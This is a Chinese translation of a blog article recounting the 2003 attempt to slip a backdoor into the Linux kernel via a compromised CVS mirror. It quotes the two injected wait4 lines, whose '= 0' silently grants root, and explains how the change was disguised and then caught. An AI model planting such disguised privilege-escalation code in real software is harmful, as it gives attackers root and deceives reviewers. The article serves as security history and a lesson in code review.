TranslateProject/published/The Linux Backdoor Attempt of 2003.md

4.3 KiB
Raw Blame History

揭秘2003年Linux后门事件

最近Josh写了一篇文章讲述2006年Debian Linux中出现的一系列安全bug探讨了这些所谓bug是否是NSA植入的后门。最后他作出结论可能不是

今天我想讲述的是另外一个事件——2003年某些人试图在Linux内核中植入后门的故事。这次事件很明确的确有人想植入后门只是我们不知道此人是谁而且也许永远都不会知道了。

时间回到2003年当时Linux使用一套叫做BitKeeper的系统来存储Linux源代码的主拷贝。如果开发者想要提交一份针对源码的修改就必须经过一套严格的审核过程以决定这份修改是否能够合并进主拷贝。每个针对主拷贝的修改都必须附带一段说明说明当中都包括了一个记录相应审核过程的链接。

但是有些人不喜欢BitKeeper于是这些开发者们就用另一套叫做CVS的系统译注Linus一直拒绝使用CVS后来不得已使用了BitKeeper并在因某些原因BitKeeper不再让开源社区免费使用后花了不到一个月的时间自己开发了GIT的原型并且投入了使用维护了一份Linux源代码的拷贝这样他们就能随时按自己喜欢的方式获取Linux源代码了。CVS中的代码其实就是直接克隆了BitKeeper中的代码。

但是在2003年11月5日的时候Larry McVoy发现CVS中的代码拷贝有一处改动并没有包含记录审核的链接。调查显示这一处改动由陌生人添加而且从未经过审核不仅如此在BitKeeper仓库的主拷贝中这一处改动竟然压根就不存在。经过进一步调查后可以明确显然有人入侵了CVS的服务器并植入了此处改动。

神秘人物究竟做了哪些改动这才是真正有趣的地方。改动修改的是Linux中一个叫wait4的函数程序可以使用该函数进行挂起操作以等待某些事件的触发。神秘人物添加的就是下面这两行代码

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
    retval = -EINVAL;

[有C语言编程经验的人也许会问这两行代码有什么特别的请接着往下看]

猛地一看好像这两行代码就是一段正常的错误校验代码当wait4函数被某种文档中禁止的方式调用时wait4就返回一个错误代码。但是一个真正认真的程序猿立刻就会发现代码中的问题注意看在第一行末尾= 0”应该是“== 0”才对。是的,“== 0”在这里才是判断当前运行代码的用户ID(current->uid)是否等于0而“= 0”不但无法判断反而修改了用户ID的值将其值赋值为0

将用户ID设置为0这是一个很严重的问题因为ID为0的用户正是“root”而root账户可以在系统中做任何事情包括访问所有数据、修改任意代码的行为能够危及到整个系统各个部分的安全。因此这段代码的影响就是通过特殊手段使得任何调用wait4函数的软件都拥有了root权限。换句话说这就是一个典型的后门。

客观地说,这一招很漂亮。看起来就像是无关紧要的错误校验,但真实身份却是一个后门。而且它混在其他经过审核的代码中间,几乎规避了所有审核可能会注意到自己的可能性。

但是它终究还是失败了因为Linux小组有足够强的责任心注意到了CVS仓库中的这段代码没有经过常规审核。Linux还是略胜一筹。

这是NSA干的吗只能说有可能。因为有太多拥有技术能力和动机的人有可能实施了此次攻击。那么到底是谁呢除非某些人主动承认又或者发现新的确凿证据否则我们将永远不会知道。


via: https://freedom-to-tinker.com/blog/felten/the-linux-backdoor-attempt-of-2003/

本文由 LCTT 原创翻译,Linux中国 荣誉推出

译者:tinyeyeser 校对:wxy